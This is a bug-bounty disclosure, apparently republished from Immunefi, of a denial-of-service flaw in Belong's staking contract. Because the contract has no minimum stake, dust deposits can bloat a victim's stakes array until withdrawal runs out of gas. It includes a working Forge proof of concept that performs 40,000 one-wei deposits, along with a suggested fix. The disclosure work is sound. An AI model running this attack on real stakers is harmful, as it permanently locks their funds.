Skip to content
DoS Audit finding Intermediate

Permanent freezing of funds due to no minimum stake limit

The staking contract has no minimum deposit amount, so an attacker can add many tiny stakes to a victim's account. When the victim withdraws, the contract loops over all stakes and may run out of gas, leaving funds stuck.

KalyanSingh Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

57848 sc medium permanent freezing of funds due to no minimum stake limit

Submitted on Oct 29th 2025 at 07:49:03 UTC by @KalyanSingh for Audit Comp | Belong

Description

Brief / Intro

A user's stakes data is stored in:

Solidity
mapping(address staker => Stake[] times) public stakes;

But due to no minimum stake requirement in _deposit(), an attacker can fill up a target user's array of stakes with dust values. This can result in an OOG (out-of-gas) revert.

Vulnerability Details

When deployed on an EVM chain with a ~100M gas block limit (e.g., BSC/BNB), an attacker can perform ~40k 1-wei deposits to populate a victim's stakes array. After this, the victim may not be able to withdraw their full amount because withdrawal logic iterates sequentially over the stakes array and can hit OOG.

Assume the following scenario:

{% stepper %} {% step %}

Scenario — Step 1

Alice is a DCA staker on BelongNet and stakes tokens daily (Alice could be a large entity or an automated smart contract). {% endstep %}

{% step %}

Scenario — Step 2

Bob is a malicious actor who wants to freeze Alice's funds. {% endstep %}

{% step %}

Scenario — Step 3

Bob performs ~40k deposit transactions in the staking contract with the recipient set to Alice, which triggers:

Solidity
stakes[to].push(Stake({shares: shares, timestamp: block.timestamp}));

{% endstep %}

{% step %}

Scenario — Step 4

These ~40k transactions fill Alice's stakes array with ~40k 1-wei entries. {% endstep %}

{% step %}

Scenario — Step 5

When Alice tries to withdraw, _consumeUnlockedSharesOrRevert parses all stake entries sequentially (see code: https://github.com/belongnet/checkin-contracts/blob/22d92a3af433a1cf4d0aa758f872c887b2f33db8/contracts/v2/periphery/Staking.sol#L258C14-L287), which can lead to OOG even with a 100M gas limit. {% endstep %} {% endstepper %}

Estimated attacker cost to perform ~40k 1-wei deposits is approximately USD 150–200 (as provided by reporter). After this, Alice's withdrawal transactions will be hit with OOG errors, resulting in stuck funds.

Impact Details

{% hint style="danger" %} Alice's withdrawal transactions may revert due to out-of-gas while the contract iterates over a very large stakes array — effectively freezing the victim's funds. {% endhint %}

References

This is a classic example of DoS by array traversal.

Proof of Concept

<details> <summary>Forge test PoC (expand to view)</summary>
Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// Import contracts
import {LONG} from "../contracts/v2/tokens/LONG.sol";
import {Staking} from "../contracts/v2/periphery/Staking.sol";

// Import OpenZeppelin proxy for upgradeable contracts
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ProxyAdmin} from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";

contract StakingSimpleGasTest is Test {
    LONG public long;
    Staking public staking;
    ProxyAdmin public proxyAdmin;
    address public admin;
    address public treasury;
    address public user1;
    address public attacker;

    function setUp() public {
        admin = address(1);
        treasury = address(2);
        user1 = address(3);
        attacker = address(10); // Attacker address like in the original test

        // Deploy proxy admin
        proxyAdmin = new ProxyAdmin(admin);

        // Deploy LONG implementation
        LONG longImpl = new LONG();
        
        // Deploy LONG proxy
        TransparentUpgradeableProxy longProxy = new TransparentUpgradeableProxy(
            address(longImpl),
            address(proxyAdmin),
            abi.encodeWithSelector(LONG.initialize.selector, admin, admin, admin)
        );
        long = LONG(address(longProxy));

        // Deploy Staking implementation
        Staking stakingImpl = new Staking();
        
        // Deploy Staking proxy
        TransparentUpgradeableProxy stakingProxy = new TransparentUpgradeableProxy(
            address(stakingImpl),
            address(proxyAdmin),
            abi.encodeWithSelector(Staking.initialize.selector, admin, treasury, address(long))
        );
        staking = Staking(address(stakingProxy));

        // Set minimum stake period to 1 to allow immediate withdrawal
        vm.prank(admin);
        staking.setMinStakePeriod(1);
    }

    function testStakingGasMeasurement() public {
        // Initial balance setup
        vm.prank(admin);
        long.transfer(user1, 1000 ether);
        vm.prank(admin);
        long.transfer(attacker, 1 ether);

        // User1 stakes a large amount (1000 tokens)
        vm.startPrank(user1);
        long.approve(address(staking), 1000 ether);
        staking.deposit(1000 ether, user1);
        vm.stopPrank();

        console.log("User1 amount staked:", staking.balanceOf(user1));

        // Attacker fills up stakes array with small values to test DOS vector
        vm.startPrank(attacker);
        long.approve(address(staking), 1 ether);
        vm.stopPrank();

        // Create a lot of small stakes to test gas limits during withdrawal
        uint256 stakeCount = 40000; 
        uint256 dustAmount = 1; // 1 wei dust amount

        vm.startPrank(attacker);
        uint256 gasBefore = gasleft();
        for (uint256 i = 0; i < stakeCount; i++) {
            if (i % 10 == 0) {
                console.log("Attacker stake count at:", i);
            }
            staking.deposit(dustAmount, user1); // Attacker deposits to user1's account
        }
        uint256 gasAfter = gasleft();
        uint256 gasUsed = gasBefore - gasAfter;
        emit log_named_uint("Gas used for attacker stakes", gasUsed);
        vm.stopPrank();

        console.log("User1 final staked amount:", staking.balanceOf(user1));

        // Advance time to allow withdrawal (min stake period is 1 second)
        vm.warp(block.timestamp + 2);

        // Test the withdrawal gas - this is the main focus of the test
        vm.startPrank(user1);
        gasBefore = gasleft();
        staking.withdraw(staking.balanceOf(user1), user1, user1);
        gasAfter = gasleft();
        gasUsed = gasBefore - gasAfter;
        vm.stopPrank();

        emit log_named_uint("Gas used for withdrawal", gasUsed);

    }
}

Notes from reporter:

  • Add imports remappings:
    • @openzeppelin/community-contracts/=lib/openzeppelin-community-contracts/contracts/
    • @openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/
    • @openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/
  • You may need to install OpenZeppelin contracts & upgradeable contracts for forge.

Run the test under test/ with:

forge test -vvv
</details>

The original report as published on Immunefi, by KalyanSingh. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The victim's withdrawal transactions may revert due to out-of-gas, effectively freezing their funds; the attack is described for EVM chains with a ~100M gas block limit.

What the attacker needed

Attacker can call deposit with victim as recipient; victim has staked funds; chain with high gas limit (~100M)

The fix

The contract should enforce a minimum stake amount and/or cap the number of stake entries processed per withdrawal.

How it was found

  1. The victim stakes a large amount of tokens.
  2. The attacker approves a small amount of tokens to the staking contract.
  3. The attacker repeatedly calls deposit with a 1 wei amount and the victim as recipient, adding many entries to the victim's stakes array.
  4. The victim tries to withdraw their full balance.
  5. The withdrawal function iterates over all stake entries and may revert with out-of-gas.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A smart contract keeps a list of every small deposit a person makes. If someone else can add thousands of tiny deposits to your list, the contract has to read the whole list when you withdraw. That can use more computing power than a transaction is allowed, so your withdrawal fails and your money stays locked.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More from Belong

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.